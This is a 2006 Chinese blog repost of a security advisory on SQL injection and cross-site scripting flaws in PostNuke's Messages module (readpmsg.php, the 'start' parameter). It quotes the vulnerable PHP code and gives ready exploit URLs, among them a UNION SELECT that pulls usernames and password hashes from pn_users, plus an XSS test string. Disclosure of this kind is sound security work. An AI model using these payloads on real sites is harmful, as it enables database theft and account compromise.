• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
CooKiss's Blog
清风明月听音睡,暗夜游魂梦里寻;折扇花剑天涯走,山人美酒醉方休。
博客园    首页    新随笔    联系   管理    订阅  订阅

PostNuke SQL注入和跨站脚本漏洞

PostNuke是开放源码,开放开发的内容管理系统(CMS) PostNuke中存在SQL注入和跨站脚本漏洞,PostNuke的readmsg.php脚本没有充分过滤start参数值,攻击者可以提交恶意SQL命令作为此参数数据,导致更改原来的SQL逻辑,可造成数据库更改或信息泄露。

PostNuke是开放源码,开放开发的内容管理系统(CMS)
PostNuke中存在SQL注入和跨站脚本漏洞,PostNuke的readmsg.php脚本没有充分过滤start参数值,攻击者可以提交恶意SQL命令作为此参数数据,导致更改原来的SQL逻辑,可造成数据库更改或信息泄露。

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/modules/Messages/readpmsg.php

=======================
$sql = "SELECT $column[msg_id] AS \"msg_id\",
                    $column[msg_image] AS \"msg_image\",
                    $column[subject] AS \"subject\",
                    $column[from_userid] AS \"from_userid\",
                    $column[to_userid] AS \"to_userid\",
                    $column[msg_time] AS \"msg_time\",
                    $column[msg_text] AS \"msg_text\",
                    $column[read_msg] AS \"read_msg\"
            FROM $pntable[priv_msgs]
            WHERE $column[to_userid]='" . (int)pnVarPrepForStore($userdata) . "'";

    $resultID =& $dbconn->SelectLimit($sql,1,$start);
    if($dbconn->ErrorNo()<>0) {
        error_log("DB Error: " . $dbconn->ErrorMsg());
        echo $dbconn->ErrorMsg() . "<br />";
        forumerror(0005);
    }
=======================

首先登陆到postnuke,然后向自己发送消息,之后:
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0[SQL inj]&total_messages=1

注意:
------
total_messages=1 - total_messages的ID必须存在。

之后就可以看到以下错误消息:

error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near '[SQL injection],1' at line 10 \
========================

SQL注入攻击:
=======================

http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FROM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1

跨站脚本攻击:
============================

http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0'<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1

然后就可以得到:

error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near ''[Our XSS],1' at line 10 \
========================

来源:cookiss 收集!

posted @ 2006-10-17 19:20  Cookiss  阅读(248)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3